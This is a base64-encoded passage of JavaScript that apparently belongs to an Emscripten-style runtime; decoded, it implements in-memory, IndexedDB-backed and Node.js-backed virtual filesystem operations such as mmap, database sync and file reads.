Z3RoKX0pLG1tYXA6KGZ1bmN0aW9uKHN0cmVhbSxidWZmZXIsb2Zmc2V0LGxlbmd0aCxwb3NpdGlvbixwcm90LGZsYWdzKXtpZighRlMuaXNGaWxlKHN0cmVhbS5ub2RlLm1vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9ERVYpfXZhclx4MjBwdHI7dmFyXHgyMGFsbG9jYXRlZDt2YXJceDIwY29udGVudHM9c3RyZWFtLm5vZGUuY29udGVudHM7aWYoIShmbGFncyYyKSYmKGNvbnRlbnRzLmJ1ZmZlcj09PWJ1ZmZlcnx8Y29udGVudHMuYnVmZmVyPT09YnVmZmVyLmJ1ZmZlcikpe2FsbG9jYXRlZD1mYWxzZTtwdHI9Y29udGVudHMuYnl0ZU9mZnNldH1lbHNle2lmKHBvc2l0aW9uPjB8fHBvc2l0aW9uK2xlbmd0aDxzdHJlYW0ubm9kZS51c2VkQnl0ZXMpe2lmKGNvbnRlbnRzLnN1YmFycmF5KXtjb250ZW50cz1jb250ZW50cy5zdWJhcnJheShwb3NpdGlvbixwb3NpdGlvbitsZW5ndGgpfWVsc2V7Y29udGVudHM9QXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoY29udGVudHMscG9zaXRpb24scG9zaXRpb24rbGVuZ3RoKX19YWxsb2NhdGVkPXRydWU7cHRyPV9tYWxsb2MobGVuZ3RoKTtpZighcHRyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9NRU0pfWJ1ZmZlci5zZXQoY29udGVudHMscHRyKX1yZXR1cm57cHRyOnB0cixhbGxvY2F0ZWQ6YWxsb2NhdGVkfX0pLG1zeW5jOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgsbW1hcEZsYWdzKXtpZighRlMuaXNGaWxlKHN0cmVhbS5ub2RlLm1vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9ERVYpfWlmKG1tYXBGbGFncyYyKXtyZXR1cm5ceDIwMH12YXJceDIwYnl0ZXNXcml0dGVuPU1FTUZTLnN0cmVhbV9vcHMud3JpdGUoc3RyZWFtLGJ1ZmZlciwwLGxlbmd0aCxvZmZzZXQsZmFsc2UpO3JldHVyblx4MjAwfSl9fTt2YXJceDIwSURCRlM9e2Riczp7fSxpbmRleGVkREI6KGZ1bmN0aW9uKCl7aWYodHlwZW9mXHgyMGluZGV4ZWREQiE9PVx4MjJ1bmRlZmluZWRceDIyKXJldHVyblx4MjBpbmRleGVkREI7dmFyXHgyMHJldD1udWxsO2lmKHR5cGVvZlx4MjB3aW5kb3c9PT1ceDIyb2JqZWN0XHgyMilyZXQ9d2luZG93LmluZGV4ZWREQnx8d2luZG93Lm1vekluZGV4ZWREQnx8d2luZG93LndlYmtpdEluZGV4ZWREQnx8d2luZG93Lm1zSW5kZXhlZERCO2Fzc2VydChyZXQsXHgyMklEQkZTXHgyMHVzZWQsXHgyMGJ1dFx4MjBpbmRleGVkREJceDIwbm90XHgyMHN1cHBvcnRlZFx4MjIpO3JldHVyblx4MjByZXR9KSxEQl9WRVJTSU9OOjIxLERCX1NUT1JFX05BTUU6XHgyMkZJTEVfREFUQVx4MjIsbW91bnQ6KGZ1bmN0aW9uKG1vdW50KXtyZXR1cm5ceDIwTUVNRlMubW91bnQuYXBwbHkobnVsbCxhcmd1bWVudHMpfSksc3luY2ZzOihmdW5jdGlvbihtb3VudCxwb3B1bGF0ZSxjYWxsYmFjayl7SURCRlMuZ2V0TG9jYWxTZXQobW91bnQsKGZ1bmN0aW9uKGVycixsb2NhbCl7aWYoZXJyKXJldHVyblx4MjBjYWxsYmFjayhlcnIpO0lEQkZTLmdldFJlbW90ZVNldChtb3VudCwoZnVuY3Rpb24oZXJyLHJlbW90ZSl7aWYoZXJyKXJldHVyblx4MjBjYWxsYmFjayhlcnIpO3Zhclx4MjBzcmM9cG9wdWxhdGU/cmVtb3RlOmxvY2FsO3Zhclx4MjBkc3Q9cG9wdWxhdGU/bG9jYWw6cmVtb3RlO0lEQkZTLnJlY29uY2lsZShzcmMsZHN0LGNhbGxiYWNrKX0pKX0pKX0pLGdldERCOihmdW5jdGlvbihuYW1lLGNhbGxiYWNrKXt2YXJceDIwZGI9SURCRlMuZGJzW25hbWVdO2lmKGRiKXtyZXR1cm5ceDIwY2FsbGJhY2sobnVsbCxkYil9dmFyXHgyMHJlcTt0cnl7cmVxPUlEQkZTLmluZGV4ZWREQigpLm9wZW4obmFtZSxJREJGUy5EQl9WRVJTSU9OKX1jYXRjaChlKXtyZXR1cm5ceDIwY2FsbGJhY2soZSl9aWYoIXJlcSl7cmV0dXJuXHgyMGNhbGxiYWNrKFx4MjJVbmFibGVceDIwdG9ceDIwY29ubmVjdFx4MjB0b1x4MjBJbmRleGVkREJceDIyKX1yZXEub251cGdyYWRlbmVlZGVkPShmdW5jdGlvbihlKXt2YXJceDIwZGI9ZS50YXJnZXQucmVzdWx0O3Zhclx4MjB0cmFuc2FjdGlvbj1lLnRhcmdldC50cmFuc2FjdGlvbjt2YXJceDIwZmlsZVN0b3JlO2lmKGRiLm9iamVjdFN0b3JlTmFtZXMuY29udGFpbnMoSURCRlMuREJfU1RPUkVfTkFNRSkpe2ZpbGVTdG9yZT10cmFuc2FjdGlvbi5vYmplY3RTdG9yZShJREJGUy5EQl9TVE9SRV9OQU1FKX1lbHNle2ZpbGVTdG9yZT1kYi5jcmVhdGVPYmplY3RTdG9yZShJREJGUy5EQl9TVE9SRV9OQU1FKX1pZighZmlsZVN0b3JlLmluZGV4TmFtZXMuY29udGFpbnMoXHgyMnRpbWVzdGFtcFx4MjIpKXtmaWxlU3RvcmUuY3JlYXRlSW5kZXgoXHgyMnRpbWVzdGFtcFx4MjIsXHgyMnRpbWVzdGFtcFx4MjIse3VuaXF1ZTpmYWxzZX0pfX0pO3JlcS5vbnN1Y2Nlc3M9KGZ1bmN0aW9uKCl7ZGI9cmVxLnJlc3VsdDtJREJGUy5kYnNbbmFtZV09ZGI7Y2FsbGJhY2sobnVsbCxkYil9KTtyZXEub25lcnJvcj0oZnVuY3Rpb24oZSl7Y2FsbGJhY2sodGhpcy5lcnJvcik7ZS5wcmV2ZW50RGVmYXVsdCgpfSl9KSxnZXRMb2NhbFNldDooZnVuY3Rpb24obW91bnQsY2FsbGJhY2spe3Zhclx4MjBlbnRyaWVzPXt9O2Z1bmN0aW9uXHgyMGlzUmVhbERpcihwKXtyZXR1cm5ceDIwcCE9PVx4MjIuXHgyMiYmcCE9PVx4MjIuLlx4MjJ9ZnVuY3Rpb25ceDIwdG9BYnNvbHV0ZShyb290KXtyZXR1cm4oZnVuY3Rpb24ocCl7cmV0dXJuXHgyMFBBVEguam9pbjIocm9vdCxwKX0pfXZhclx4MjBjaGVjaz1GUy5yZWFkZGlyKG1vdW50Lm1vdW50cG9pbnQpLmZpbHRlcihpc1JlYWxEaXIpLm1hcCh0b0Fic29sdXRlKG1vdW50Lm1vdW50cG9pbnQpKTt3aGlsZShjaGVjay5sZW5ndGgpe3Zhclx4MjBwYXRoPWNoZWNrLnBvcCgpO3Zhclx4MjBzdGF0O3RyeXtzdGF0PUZTLnN0YXQocGF0aCl9Y2F0Y2goZSl7cmV0dXJuXHgyMGNhbGxiYWNrKGUpfWlmKEZTLmlzRGlyKHN0YXQubW9kZSkpe2NoZWNrLnB1c2guYXBwbHkoY2hlY2ssRlMucmVhZGRpcihwYXRoKS5maWx0ZXIoaXNSZWFsRGlyKS5tYXAodG9BYnNvbHV0ZShwYXRoKSkpfWVudHJpZXNbcGF0aF09e3RpbWVzdGFtcDpzdGF0Lm10aW1lfX1yZXR1cm5ceDIwY2FsbGJhY2sobnVsbCx7dHlwZTpceDIybG9jYWxceDIyLGVudHJpZXM6ZW50cmllc30pfSksZ2V0UmVtb3RlU2V0OihmdW5jdGlvbihtb3VudCxjYWxsYmFjayl7dmFyXHgyMGVudHJpZXM9e307SURCRlMuZ2V0REIobW91bnQubW91bnRwb2ludCwoZnVuY3Rpb24oZXJyLGRiKXtpZihlcnIpcmV0dXJuXHgyMGNhbGxiYWNrKGVycik7dmFyXHgyMHRyYW5zYWN0aW9uPWRiLnRyYW5zYWN0aW9uKFtJREJGUy5EQl9TVE9SRV9OQU1FXSxceDIycmVhZG9ubHlceDIyKTt0cmFuc2FjdGlvbi5vbmVycm9yPShmdW5jdGlvbihlKXtjYWxsYmFjayh0aGlzLmVycm9yKTtlLnByZXZlbnREZWZhdWx0KCl9KTt2YXJceDIwc3RvcmU9dHJhbnNhY3Rpb24ub2JqZWN0U3RvcmUoSURCRlMuREJfU1RPUkVfTkFNRSk7dmFyXHgyMGluZGV4PXN0b3JlLmluZGV4KFx4MjJ0aW1lc3RhbXBceDIyKTtpbmRleC5vcGVuS2V5Q3Vyc29yKCkub25zdWNjZXNzPShmdW5jdGlvbihldmVudCl7dmFyXHgyMGN1cnNvcj1ldmVudC50YXJnZXQucmVzdWx0O2lmKCFjdXJzb3Ipe3JldHVyblx4MjBjYWxsYmFjayhudWxsLHt0eXBlOlx4MjJyZW1vdGVceDIyLGRiOmRiLGVudHJpZXM6ZW50cmllc30pfWVudHJpZXNbY3Vyc29yLnByaW1hcnlLZXldPXt0aW1lc3RhbXA6Y3Vyc29yLmtleX07Y3Vyc29yLmNvbnRpbnVlKCl9KX0pKX0pLGxvYWRMb2NhbEVudHJ5OihmdW5jdGlvbihwYXRoLGNhbGxiYWNrKXt2YXJceDIwc3RhdCxub2RlO3RyeXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCk7bm9kZT1sb29rdXAubm9kZTtzdGF0PUZTLnN0YXQocGF0aCl9Y2F0Y2goZSl7cmV0dXJuXHgyMGNhbGxiYWNrKGUpfWlmKEZTLmlzRGlyKHN0YXQubW9kZSkpe3JldHVyblx4MjBjYWxsYmFjayhudWxsLHt0aW1lc3RhbXA6c3RhdC5tdGltZSxtb2RlOnN0YXQubW9kZX0pfWVsc2VceDIwaWYoRlMuaXNGaWxlKHN0YXQubW9kZSkpe25vZGUuY29udGVudHM9TUVNRlMuZ2V0RmlsZURhdGFBc1R5cGVkQXJyYXkobm9kZSk7cmV0dXJuXHgyMGNhbGxiYWNrKG51bGwse3RpbWVzdGFtcDpzdGF0Lm10aW1lLG1vZGU6c3RhdC5tb2RlLGNvbnRlbnRzOm5vZGUuY29udGVudHN9KX1lbHNle3JldHVyblx4MjBjYWxsYmFjayhuZXdceDIwRXJyb3IoXHgyMm5vZGVceDIwdHlwZVx4MjBub3RceDIwc3VwcG9ydGVkXHgyMikpfX0pLHN0b3JlTG9jYWxFbnRyeTooZnVuY3Rpb24ocGF0aCxlbnRyeSxjYWxsYmFjayl7dHJ5e2lmKEZTLmlzRGlyKGVudHJ5Lm1vZGUpKXtGUy5ta2RpcihwYXRoLGVudHJ5Lm1vZGUpfWVsc2VceDIwaWYoRlMuaXNGaWxlKGVudHJ5Lm1vZGUpKXtGUy53cml0ZUZpbGUocGF0aCxlbnRyeS5jb250ZW50cyx7ZW5jb2Rpbmc6XHgyMmJpbmFyeVx4MjIsY2FuT3duOnRydWV9KX1lbHNle3JldHVyblx4MjBjYWxsYmFjayhuZXdceDIwRXJyb3IoXHgyMm5vZGVceDIwdHlwZVx4MjBub3RceDIwc3VwcG9ydGVkXHgyMikpfUZTLmNobW9kKHBhdGgsZW50cnkubW9kZSk7RlMudXRpbWUocGF0aCxlbnRyeS50aW1lc3RhbXAsZW50cnkudGltZXN0YW1wKX1jYXRjaChlKXtyZXR1cm5ceDIwY2FsbGJhY2soZSl9Y2FsbGJhY2sobnVsbCl9KSxyZW1vdmVMb2NhbEVudHJ5OihmdW5jdGlvbihwYXRoLGNhbGxiYWNrKXt0cnl7dmFyXHgyMGxvb2t1cD1GUy5sb29rdXBQYXRoKHBhdGgpO3Zhclx4MjBzdGF0PUZTLnN0YXQocGF0aCk7aWYoRlMuaXNEaXIoc3RhdC5tb2RlKSl7RlMucm1kaXIocGF0aCl9ZWxzZVx4MjBpZihGUy5pc0ZpbGUoc3RhdC5tb2RlKSl7RlMudW5saW5rKHBhdGgpfX1jYXRjaChlKXtyZXR1cm5ceDIwY2FsbGJhY2soZSl9Y2FsbGJhY2sobnVsbCl9KSxsb2FkUmVtb3RlRW50cnk6KGZ1bmN0aW9uKHN0b3JlLHBhdGgsY2FsbGJhY2spe3Zhclx4MjByZXE9c3RvcmUuZ2V0KHBhdGgpO3JlcS5vbnN1Y2Nlc3M9KGZ1bmN0aW9uKGV2ZW50KXtjYWxsYmFjayhudWxsLGV2ZW50LnRhcmdldC5yZXN1bHQpfSk7cmVxLm9uZXJyb3I9KGZ1bmN0aW9uKGUpe2NhbGxiYWNrKHRoaXMuZXJyb3IpO2UucHJldmVudERlZmF1bHQoKX0pfSksc3RvcmVSZW1vdGVFbnRyeTooZnVuY3Rpb24oc3RvcmUscGF0aCxlbnRyeSxjYWxsYmFjayl7dmFyXHgyMHJlcT1zdG9yZS5wdXQoZW50cnkscGF0aCk7cmVxLm9uc3VjY2Vzcz0oZnVuY3Rpb24oKXtjYWxsYmFjayhudWxsKX0pO3JlcS5vbmVycm9yPShmdW5jdGlvbihlKXtjYWxsYmFjayh0aGlzLmVycm9yKTtlLnByZXZlbnREZWZhdWx0KCl9KX0pLHJlbW92ZVJlbW90ZUVudHJ5OihmdW5jdGlvbihzdG9yZSxwYXRoLGNhbGxiYWNrKXt2YXJceDIwcmVxPXN0b3JlLmRlbGV0ZShwYXRoKTtyZXEub25zdWNjZXNzPShmdW5jdGlvbigpe2NhbGxiYWNrKG51bGwpfSk7cmVxLm9uZXJyb3I9KGZ1bmN0aW9uKGUpe2NhbGxiYWNrKHRoaXMuZXJyb3IpO2UucHJldmVudERlZmF1bHQoKX0pfSkscmVjb25jaWxlOihmdW5jdGlvbihzcmMsZHN0LGNhbGxiYWNrKXt2YXJceDIwdG90YWw9MDt2YXJceDIwY3JlYXRlPVtdO09iamVjdC5rZXlzKHNyYy5lbnRyaWVzKS5mb3JFYWNoKChmdW5jdGlvbihrZXkpe3Zhclx4MjBlPXNyYy5lbnRyaWVzW2tleV07dmFyXHgyMGUyPWRzdC5lbnRyaWVzW2tleV07aWYoIWUyfHxlLnRpbWVzdGFtcD5lMi50aW1lc3RhbXApe2NyZWF0ZS5wdXNoKGtleSk7dG90YWwrK319KSk7dmFyXHgyMHJlbW92ZT1bXTtPYmplY3Qua2V5cyhkc3QuZW50cmllcykuZm9yRWFjaCgoZnVuY3Rpb24oa2V5KXt2YXJceDIwZT1kc3QuZW50cmllc1trZXldO3Zhclx4MjBlMj1zcmMuZW50cmllc1trZXldO2lmKCFlMil7cmVtb3ZlLnB1c2goa2V5KTt0b3RhbCsrfX0pKTtpZighdG90YWwpe3JldHVyblx4MjBjYWxsYmFjayhudWxsKX12YXJceDIwY29tcGxldGVkPTA7dmFyXHgyMGRiPXNyYy50eXBlPT09XHgyMnJlbW90ZVx4MjI/c3JjLmRiOmRzdC5kYjt2YXJceDIwdHJhbnNhY3Rpb249ZGIudHJhbnNhY3Rpb24oW0lEQkZTLkRCX1NUT1JFX05BTUVdLFx4MjJyZWFkd3JpdGVceDIyKTt2YXJceDIwc3RvcmU9dHJhbnNhY3Rpb24ub2JqZWN0U3RvcmUoSURCRlMuREJfU1RPUkVfTkFNRSk7ZnVuY3Rpb25ceDIwZG9uZShlcnIpe2lmKGVycil7aWYoIWRvbmUuZXJyb3JlZCl7ZG9uZS5lcnJvcmVkPXRydWU7cmV0dXJuXHgyMGNhbGxiYWNrKGVycil9cmV0dXJufWlmKCsrY29tcGxldGVkPj10b3RhbCl7cmV0dXJuXHgyMGNhbGxiYWNrKG51bGwpfX10cmFuc2FjdGlvbi5vbmVycm9yPShmdW5jdGlvbihlKXtkb25lKHRoaXMuZXJyb3IpO2UucHJldmVudERlZmF1bHQoKX0pO2NyZWF0ZS5zb3J0KCkuZm9yRWFjaCgoZnVuY3Rpb24ocGF0aCl7aWYoZHN0LnR5cGU9PT1ceDIybG9jYWxceDIyKXtJREJGUy5sb2FkUmVtb3RlRW50cnkoc3RvcmUscGF0aCwoZnVuY3Rpb24oZXJyLGVudHJ5KXtpZihlcnIpcmV0dXJuXHgyMGRvbmUoZXJyKTtJREJGUy5zdG9yZUxvY2FsRW50cnkocGF0aCxlbnRyeSxkb25lKX0pKX1lbHNle0lEQkZTLmxvYWRMb2NhbEVudHJ5KHBhdGgsKGZ1bmN0aW9uKGVycixlbnRyeSl7aWYoZXJyKXJldHVyblx4MjBkb25lKGVycik7SURCRlMuc3RvcmVSZW1vdGVFbnRyeShzdG9yZSxwYXRoLGVudHJ5LGRvbmUpfSkpfX0pKTtyZW1vdmUuc29ydCgpLnJldmVyc2UoKS5mb3JFYWNoKChmdW5jdGlvbihwYXRoKXtpZihkc3QudHlwZT09PVx4MjJsb2NhbFx4MjIpe0lEQkZTLnJlbW92ZUxvY2FsRW50cnkocGF0aCxkb25lKX1lbHNle0lEQkZTLnJlbW92ZVJlbW90ZUVudHJ5KHN0b3JlLHBhdGgsZG9uZSl9fSkpfSl9O3Zhclx4MjBOT0RFRlM9e2lzV2luZG93czpmYWxzZSxzdGF0aWNJbml0OihmdW5jdGlvbigpe05PREVGUy5pc1dpbmRvd3M9ISFwcm9jZXNzLnBsYXRmb3JtLm1hdGNoKC9ed2luLyl9KSxtb3VudDooZnVuY3Rpb24obW91bnQpe2Fzc2VydChFTlZJUk9OTUVOVF9JU19OT0RFKTtyZXR1cm5ceDIwTk9ERUZTLmNyZWF0ZU5vZGUobnVsbCxceDIyL1x4MjIsTk9ERUZTLmdldE1vZGUobW91bnQub3B0cy5yb290KSwwKX0pLGNyZWF0ZU5vZGU6KGZ1bmN0aW9uKHBhcmVudCxuYW1lLG1vZGUsZGV2KXtpZighRlMuaXNEaXIobW9kZSkmJiFGUy5pc0ZpbGUobW9kZSkmJiFGUy5pc0xpbmsobW9kZSkpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9dmFyXHgyMG5vZGU9RlMuY3JlYXRlTm9kZShwYXJlbnQsbmFtZSxtb2RlKTtub2RlLm5vZGVfb3BzPU5PREVGUy5ub2RlX29wcztub2RlLnN0cmVhbV9vcHM9Tk9ERUZTLnN0cmVhbV9vcHM7cmV0dXJuXHgyMG5vZGV9KSxnZXRNb2RlOihmdW5jdGlvbihwYXRoKXt2YXJceDIwc3RhdDt0cnl7c3RhdD1mcy5sc3RhdFN5bmMocGF0aCk7aWYoTk9ERUZTLmlzV2luZG93cyl7c3RhdC5tb2RlPXN0YXQubW9kZXwoc3RhdC5tb2RlJjE0Nik+PjF9fWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX1yZXR1cm5ceDIwc3RhdC5tb2RlfSkscmVhbFBhdGg6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBwYXJ0cz1bXTt3aGlsZShub2RlLnBhcmVudCE9PW5vZGUpe3BhcnRzLnB1c2gobm9kZS5uYW1lKTtub2RlPW5vZGUucGFyZW50fXBhcnRzLnB1c2gobm9kZS5tb3VudC5vcHRzLnJvb3QpO3BhcnRzLnJldmVyc2UoKTtyZXR1cm5ceDIwUEFUSC5qb2luLmFwcGx5KG51bGwscGFydHMpfSksZmxhZ3NUb1Blcm1pc3Npb25TdHJpbmdNYXA6ezA6XHgyMnJceDIyLDE6XHgyMnIrXHgyMiwyOlx4MjJyK1x4MjIsNjQ6XHgyMnJceDIyLDY1Olx4MjJyK1x4MjIsNjY6XHgyMnIrXHgyMiwxMjk6XHgyMnJ4K1x4MjIsMTkzOlx4MjJyeCtceDIyLDUxNDpceDIydytceDIyLDU3NzpceDIyd1x4MjIsNTc4Olx4MjJ3K1x4MjIsNzA1Olx4MjJ3eFx4MjIsNzA2Olx4MjJ3eCtceDIyLDEwMjQ6XHgyMmFceDIyLDEwMjU6XHgyMmFceDIyLDEwMjY6XHgyMmErXHgyMiwxMDg5Olx4MjJhXHgyMiwxMDkwOlx4MjJhK1x4MjIsMTE1MzpceDIyYXhceDIyLDExNTQ6XHgyMmF4K1x4MjIsMTIxNzpceDIyYXhceDIyLDEyMTg6XHgyMmF4K1x4MjIsNDA5NjpceDIycnNceDIyLDQwOTg6XHgyMnJzK1x4MjJ9LGZsYWdzVG9QZXJtaXNzaW9uU3RyaW5nOihmdW5jdGlvbihmbGFncyl7ZmxhZ3MmPX4yMDk3MTUyO2ZsYWdzJj1+MjA0ODtmbGFncyY9fjMyNzY4O2ZsYWdzJj1+NTI0Mjg4O2lmKGZsYWdzXHgyMGluXHgyME5PREVGUy5mbGFnc1RvUGVybWlzc2lvblN0cmluZ01hcCl7cmV0dXJuXHgyME5PREVGUy5mbGFnc1RvUGVybWlzc2lvblN0cmluZ01hcFtmbGFnc119ZWxzZXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSU5WQUwpfX0pLG5vZGVfb3BzOntnZXRhdHRyOihmdW5jdGlvbihub2RlKXt2YXJceDIwcGF0aD1OT0RFRlMucmVhbFBhdGgobm9kZSk7dmFyXHgyMHN0YXQ7dHJ5e3N0YXQ9ZnMubHN0YXRTeW5jKHBhdGgpfWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX1pZihOT0RFRlMuaXNXaW5kb3dzJiYhc3RhdC5ibGtzaXplKXtzdGF0LmJsa3NpemU9NDA5Nn1pZihOT0RFRlMuaXNXaW5kb3dzJiYhc3RhdC5ibG9ja3Mpe3N0YXQuYmxvY2tzPShzdGF0LnNpemUrc3RhdC5ibGtzaXplLTEpL3N0YXQuYmxrc2l6ZXwwfXJldHVybntkZXY6c3RhdC5kZXYsaW5vOnN0YXQuaW5vLG1vZGU6c3RhdC5tb2RlLG5saW5rOnN0YXQubmxpbmssdWlkOnN0YXQudWlkLGdpZDpzdGF0LmdpZCxyZGV2OnN0YXQucmRldixzaXplOnN0YXQuc2l6ZSxhdGltZTpzdGF0LmF0aW1lLG10aW1lOnN0YXQubXRpbWUsY3RpbWU6c3RhdC5jdGltZSxibGtzaXplOnN0YXQuYmxrc2l6ZSxibG9ja3M6c3RhdC5ibG9ja3N9fSksc2V0YXR0cjooZnVuY3Rpb24obm9kZSxhdHRyKXt2YXJceDIwcGF0aD1OT0RFRlMucmVhbFBhdGgobm9kZSk7dHJ5e2lmKGF0dHIubW9kZSE9PXVuZGVmaW5lZCl7ZnMuY2htb2RTeW5jKHBhdGgsYXR0ci5tb2RlKTtub2RlLm1vZGU9YXR0ci5tb2RlfWlmKGF0dHIudGltZXN0YW1wIT09dW5kZWZpbmVkKXt2YXJceDIwZGF0ZT1uZXdceDIwRGF0ZShhdHRyLnRpbWVzdGFtcCk7ZnMudXRpbWVzU3luYyhwYXRoLGRhdGUsZGF0ZSl9aWYoYXR0ci5zaXplIT09dW5kZWZpbmVkKXtmcy50cnVuY2F0ZVN5bmMocGF0aCxhdHRyLnNpemUpfX1jYXRjaChlKXtpZighZS5jb2RlKXRocm93XHgyMGU7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVNbZS5jb2RlXSl9fSksbG9va3VwOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7dmFyXHgyMHBhdGg9UEFUSC5qb2luMihOT0RFRlMucmVhbFBhdGgocGFyZW50KSxuYW1lKTt2YXJceDIwbW9kZT1OT0RFRlMuZ2V0TW9kZShwYXRoKTtyZXR1cm5ceDIwTk9ERUZTLmNyZWF0ZU5vZGUocGFyZW50LG5hbWUsbW9kZSl9KSxta25vZDooZnVuY3Rpb24ocGFyZW50LG5hbWUsbW9kZSxkZXYpe3Zhclx4MjBub2RlPU5PREVGUy5jcmVhdGVOb2RlKHBhcmVudCxuYW1lLG1vZGUsZGV2KTt2YXJceDIwcGF0aD1OT0RFRlMucmVhbFBhdGgobm9kZSk7dHJ5e2lmKEZTLmlzRGlyKG5vZGUubW9kZSkpe2ZzLm1rZGlyU3luYyhwYXRoLG5vZGUubW9kZSl9ZWxzZXtmcy53cml0ZUZpbGVTeW5jKHBhdGgsXHgyMlx4MjIse21vZGU6bm9kZS5tb2RlfSl9fWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX1yZXR1cm5ceDIwbm9kZX0pLHJlbmFtZTooZnVuY3Rpb24ob2xkTm9kZSxuZXdEaXIsbmV3TmFtZSl7dmFyXHgyMG9sZFBhdGg9Tk9ERUZTLnJlYWxQYXRoKG9sZE5vZGUpO3Zhclx4MjBuZXdQYXRoPVBBVEguam9pbjIoTk9ERUZTLnJlYWxQYXRoKG5ld0RpciksbmV3TmFtZSk7dHJ5e2ZzLnJlbmFtZVN5bmMob2xkUGF0aCxuZXdQYXRoKX1jYXRjaChlKXtpZighZS5jb2RlKXRocm93XHgyMGU7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVNbZS5jb2RlXSl9fSksdW5saW5rOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7dmFyXHgyMHBhdGg9UEFUSC5qb2luMihOT0RFRlMucmVhbFBhdGgocGFyZW50KSxuYW1lKTt0cnl7ZnMudW5saW5rU3luYyhwYXRoKX1jYXRjaChlKXtpZighZS5jb2RlKXRocm93XHgyMGU7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVNbZS5jb2RlXSl9fSkscm1kaXI6KGZ1bmN0aW9uKHBhcmVudCxuYW1lKXt2YXJceDIwcGF0aD1QQVRILmpvaW4yKE5PREVGUy5yZWFsUGF0aChwYXJlbnQpLG5hbWUpO3RyeXtmcy5ybWRpclN5bmMocGF0aCl9Y2F0Y2goZSl7aWYoIWUuY29kZSl0aHJvd1x4MjBlO3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTW2UuY29kZV0pfX0pLHJlYWRkaXI6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBwYXRoPU5PREVGUy5yZWFsUGF0aChub2RlKTt0cnl7cmV0dXJuXHgyMGZzLnJlYWRkaXJTeW5jKHBhdGgpfWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KSxzeW1saW5rOihmdW5jdGlvbihwYXJlbnQsbmV3TmFtZSxvbGRQYXRoKXt2YXJceDIwbmV3UGF0aD1QQVRILmpvaW4yKE5PREVGUy5yZWFsUGF0aChwYXJlbnQpLG5ld05hbWUpO3RyeXtmcy5zeW1saW5rU3luYyhvbGRQYXRoLG5ld1BhdGgpfWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KSxyZWFkbGluazooZnVuY3Rpb24obm9kZSl7dmFyXHgyMHBhdGg9Tk9ERUZTLnJlYWxQYXRoKG5vZGUpO3RyeXtwYXRoPWZzLnJlYWRsaW5rU3luYyhwYXRoKTtwYXRoPU5PREVKU19QQVRILnJlbGF0aXZlKE5PREVKU19QQVRILnJlc29sdmUobm9kZS5tb3VudC5vcHRzLnJvb3QpLHBhdGgpO3JldHVyblx4MjBwYXRofWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KX0sc3RyZWFtX29wczp7b3BlbjooZnVuY3Rpb24oc3RyZWFtKXt2YXJceDIwcGF0aD1OT0RFRlMucmVhbFBhdGgoc3RyZWFtLm5vZGUpO3RyeXtpZihGUy5pc0ZpbGUoc3RyZWFtLm5vZGUubW9kZSkpe3N0cmVhbS5uZmQ9ZnMub3BlblN5bmMocGF0aCxOT0RFRlMuZmxhZ3NUb1Blcm1pc3Npb25TdHJpbmcoc3RyZWFtLmZsYWdzKSl9fWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KSxjbG9zZTooZnVuY3Rpb24oc3RyZWFtKXt0cnl7aWYoRlMuaXNGaWxlKHN0cmVhbS5ub2RlLm1vZGUpJiZzdHJlYW0ubmZkKXtmcy5jbG9zZVN5bmMoc3RyZWFtLm5mZCl9fWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KSxyZWFkOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zaXRpb24pe2lmKGxlbmd0aD09PTApcmV0dXJuXHgyMDA7dmFyXHgyMG5idWZmZXI9bmV3XHgyMEJ1ZmZlcihsZW5ndGgpO3Zhclx4MjByZXM7dHJ5e3Jlcz1mcy5yZWFkU